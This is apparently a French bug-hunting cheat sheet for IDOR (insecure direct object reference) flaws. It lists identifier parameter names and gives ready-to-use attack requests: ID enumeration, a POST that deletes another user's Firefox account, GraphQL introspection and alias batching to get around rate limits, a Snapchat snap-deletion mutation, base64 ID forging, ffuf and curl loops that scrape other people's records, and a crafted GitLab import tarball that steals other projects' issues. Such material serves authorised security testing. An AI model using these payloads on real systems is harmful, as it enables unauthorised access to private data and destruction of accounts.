Kit de Chasse IDOR

# Identité et compte
id  uid  user  user_id  userId  userid  account_id  accountId  member_id
profile_id  customer_id  client_id  owner_id  actor_id  subject_id  person_id
employee_id  student_id  patient_id  contact_id  lead_id  guest_id

# Cloisonnement et périmètre — les plus payants, ils franchissent les frontières d'organisation
org_id  organization_id  tenant_id  workspace_id  team_id  group_id  company_id
project_id  shop_id  store_id  site_id  app_id  namespace_id  realm_id  env_id

# Commerce et argent
order_id  booking_id  reservation_id  cart_id  transaction_id  payment_id
invoice_id  receipt_id  subscription_id  voucher_id  coupon_id  refund_id
payout_id  card_id  bank_account_id  wallet_id  billing_id  quote_id

# Documents et médias
doc_id  document_id  file_id  fileId  attachment_id  media_id  asset_id
image_id  photo_id  video_id  export_id  report_id  download_id  key  path

# Communication et flux de travail
message_id  thread_id  conversation_id  chat_id  comment_id  note_id  post_id
ticket_id  case_id  issue_id  request_id  task_id  event_id  notification_id

# Identifiants et droits — sévérité élevée dès qu'ils sont modifiables
token_id  session_id  api_key_id  credential_id  certification_id  license_id
badge_id  role_id  permission_id  invite_id  membership_id  device_id  webhook_id

# Identité par chaîne — un IDOR n'exige pas un entier
email  username  phone  msisdn  slug  handle  external_id  sub  upn  ref

# 1. Segment de chemin        GET /api/v1/bookings/8847
# 2. Chaîne de requête        GET /Download.aspx?id=4675
# 3. Corps JSON               {"booking_id": 8847, "email": "victim@domain.tld"}
# 4. Corps de formulaire      booking_id=8847&action=cancel
# 5. En-têtes personnalisés   X-User-Id / X-Account-Id / X-Tenant-Id / X-Org-Id
#                             X-Customer-Id / X-Impersonate-User / X-Forwarded-User
#                             X-On-Behalf-Of / X-Actor-Id / Referer (le périmètre fuite ici)
# 6. Cookies                  account_id=8847; last_org=42; selected_tenant=acme
# 7. Variables GraphQL        {"ids": ["VICTIM_SNAP_ID"], "storyType": "SPOTLIGHT_STORY"}
# 8. Nom de fichier multipart Content-Disposition: name="file"; filename="../8848.pdf"
# 9. Claims JWT / session     décodez-le — le serveur FAIT SOUVENT CONFIANCE à sub, uid, tid, org
# 10. Trames WebSocket        {"op":"subscribe","channel":"orders:8848"}
# 11. Archives d'import       project.json dans un tarball → "issue_ids": [27422144]
# 12. Blob signé/opaque       base64, hex, protobuf — décodez avant de le croire inoffensif

# Référence — votre propre objet. Gardez cette réponse, elle sert de comparaison.
GET /api/v1/bookings/8847 HTTP/1.1
Authorization: Bearer A_TOKEN

# Le sondage — un seul caractère modifié.
GET /api/v1/bookings/8848 HTTP/1.1
Authorization: Bearer A_TOKEN
# SIGNAL POSITIF : 200 + un nom, un téléphone, une adresse qui ne sont pas les vôtres.

# Parcourez la plage dans les deux sens. Les identifiants les plus bas sont les
# plus anciens : souvent des comptes de test internes ou du personnel, plus riches.
GET /api/v1/bookings/1     HTTP/1.1
GET /api/v1/bookings/8846  HTTP/1.1

# Identité par chaîne — la session est valide, l'action vise quelqu'un d'autre.
# Mozilla FxA n'a jamais vérifié que la session possédait le compte supprimé.
POST /v1/account/destroy HTTP/1.1
Host: api.accounts.firefox.com
Authorization: Bearer A_SESSION_TOKEN
Content-Type: application/json

{"email":"victim@domain.tld","authPW":"42b4c2940fe2efecce851a2d8e9754d0f1cb1d37"}

# L'introspection d'abord — listez chaque mutation, cherchez delete*/update*/remove*
{__schema{mutationType{fields{name args{name type{name ofType{name}}}}}}}

# La propriété n'est généralement vérifiée que sur le champ racine. Atteignez
# l'objet par une arête parente et le contrôle n'est jamais évalué.
query { organization(id:"OWN_ORG") { members { privateEmail phone } } }

# Regroupement par alias — plusieurs objets par requête HTTP, ce qui déjoue la
# limitation de débit et prouve l'accès arbitraire en une seule capture d'écran.
query {
  a: user(id:1235){ email phone }
  b: user(id:1236){ email phone }
  c: user(id:1237){ email phone }
}

# Chemin d'écriture. Le deleteStorySnaps de Snapchat acceptait un tableau ids
# sans validation de propriété — interceptez votre suppression, changez l'id.
mutation DeleteStorySnaps($ids:[String!]!, $storyType:StoryType!) {
  deleteStorySnaps(ids:$ids, storyType:$storyType)
}
# variables: {"ids":["VICTIM_SNAP_ID"],"storyType":"SPOTLIGHT_STORY"}

# Enveloppe base64 — extrêmement courante, et réencodable sans le moindre effort
echo 'eyJ1c2VyX2lkIjoxMjM0fQ==' | base64 -d      # {"user_id": 1234}
echo -n '{"user_id": 1235}' | base64             # forgez le voisin

# Les identifiants globaux GraphQL Relay sont le base64 de "Type:pk"
echo 'VXNlcjoxMjM0' | base64 -d                  # User:1234
echo -n 'User:1235' | base64                     # VXNlcjoxMjM1

# hexadécimal / décimal
printf '%d\n' 0x4D2                              # 1234

# ObjectId MongoDB : horodatage sur 4 octets + aléa sur 5 octets + compteur sur 3 octets.
# Le compteur final s'incrémente à chaque insertion — les voisins se devinent.
# 65f1a2b3 c4d5e6f7a8b9 0001  ->  ...0002 est le document suivant

# UUIDv1 embarque un horodatage et une adresse MAC — pas aléatoire, prévisible
# sur une fenêtre donnée. UUIDv4 est aléatoire ; cherchez plutôt où il FUITE
# (résultats de recherche, endpoints de listage, messages d'erreur, pieds d'e-mails).

# Dix identifiants, c'est une preuve. Dix mille, c'est un rapport d'incident à votre nom.
seq 8840 8850 > ids.txt

ffuf -w ids.txt:FUZZ \
     -u "$TARGET/api/v1/bookings/FUZZ" \
     -H "Authorization: Bearer $A_TOKEN" \
     -mc 200 -rate 5 -o idor.json

# Tri par taille de réponse : des tailles identiques trahissent une page d'erreur
# générique ; des tailles variables avec des 200 signalent de vrais enregistrements.
curl -s -H "Authorization: Bearer $A_TOKEN" \
     "$TARGET/api/v1/bookings/8848" | jq '{name,phone,address}'

# Téléchargements de fichiers séquentiels — le schéma du DoD, aucune table de propriété
for i in 4675 4676 4677; do
  curl -sI "$TARGET/Download.aspx?id=$i" | grep -i 'content-disposition'
done

// project.json à l'intérieur du tarball téléversé. L'importeur appelait
// assign_attributes() sur ce hash, si bien que les tableaux *_ids rattachaient des
// objets appartenant à d'autres projets. Deux rapports GitLab à 20 000 $ en sont nés.
{
  "description": "attacker project",
  "issue_ids": [27422144],
  "issues": [],
  "merge_request_ids": [12345678],
  "merge_requests": [],
  "note_ids": [98765432],
  "board_ids": [11111]
}

tar -czf evil.tar.gz project.json
curl -X POST "$TARGET/api/v4/projects/import" \
     -H "PRIVATE-TOKEN: $A_TOKEN" \
     -F "path=stolen" -F "file=@evil.tar.gz"
# Parcourez ensuite votre nouveau projet — les issues d'autrui y apparaissent.